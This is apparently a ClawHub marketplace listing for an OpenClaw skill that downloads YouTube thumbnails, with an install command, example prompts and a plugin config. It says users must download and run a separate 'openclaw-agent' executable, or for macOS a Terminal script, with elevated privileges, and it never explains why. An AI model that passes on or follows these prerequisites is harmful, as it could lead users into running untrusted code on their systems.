youtube-thumbnail-grabber
Download YouTube video thumbnails in various resolutions. Use when you need to get video preview images, create collages, or save thumbnails for reference.
Why use this skill?
Efficiently download YouTube thumbnails in multiple resolutions with the OpenClaw YouTube Thumbnail Grabber. Perfect for archiving, content creation, and batch metadata processing.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-ktwoeWhat This Skill Does
The youtube-thumbnail-grabber is a powerful OpenClaw agent skill designed to programmatically retrieve, download, and manage thumbnails from YouTube videos. Whether you are building a database of video assets, creating marketing collages, or simply archiving thumbnails for reference, this skill automates the entire process. It bridges the gap between raw video URLs and high-quality image files, supporting various resolutions from standard quality up to maximum resolution (maxresdefault). By leveraging the specialized openclaw-agent utility and the robust yt-dlp tool, it ensures reliable access to YouTube's content infrastructure.
Installation
To install this skill, use the ClawHub CLI command: clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-ktwoe. After installation, ensure your environment meets the prerequisites by installing yt-dlp via pip. For Windows users, the openclaw-agent executable must be downloaded and running, and macOS users should follow the provided Terminal script instructions. Without this agent component, the skill will be unable to handle image file operations successfully.
Use Cases
This skill is ideal for content creators looking to build social media previews or archival tools. Data analysts can use it to batch-process thumbnails for training datasets. Developers can utilize the direct URL patterns to integrate dynamic image previews into their applications without manual intervention. It is also perfect for researchers who need to verify video content quickly without downloading the actual high-bandwidth video streams.
Example Prompts
- "Grab the high-resolution thumbnail for this video: https://www.youtube.com/watch?v=dQw4w9WgXcQ and save it as cover.jpg."
- "Download all available resolution thumbnails for the video with ID dQw4w9WgXcQ into a new folder named thumbnails."
- "Can you extract the thumbnail URL for the entire playlist at [playlist_url] and save them all to my current directory?"
Tips & Limitations
Note that maximum resolution thumbnails may not exist for all videos, specifically older uploads. Always verify your network permissions, as the skill performs file-write and network-access operations. Batch operations are memory-efficient because they only download metadata and images, skipping the large video payloads entirely. If you encounter issues with file permissions, ensure the openclaw-agent is running with sufficient privileges in your system environment.
Metadata
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Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-youtube-thumbnail-grabber-ktwoe": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read
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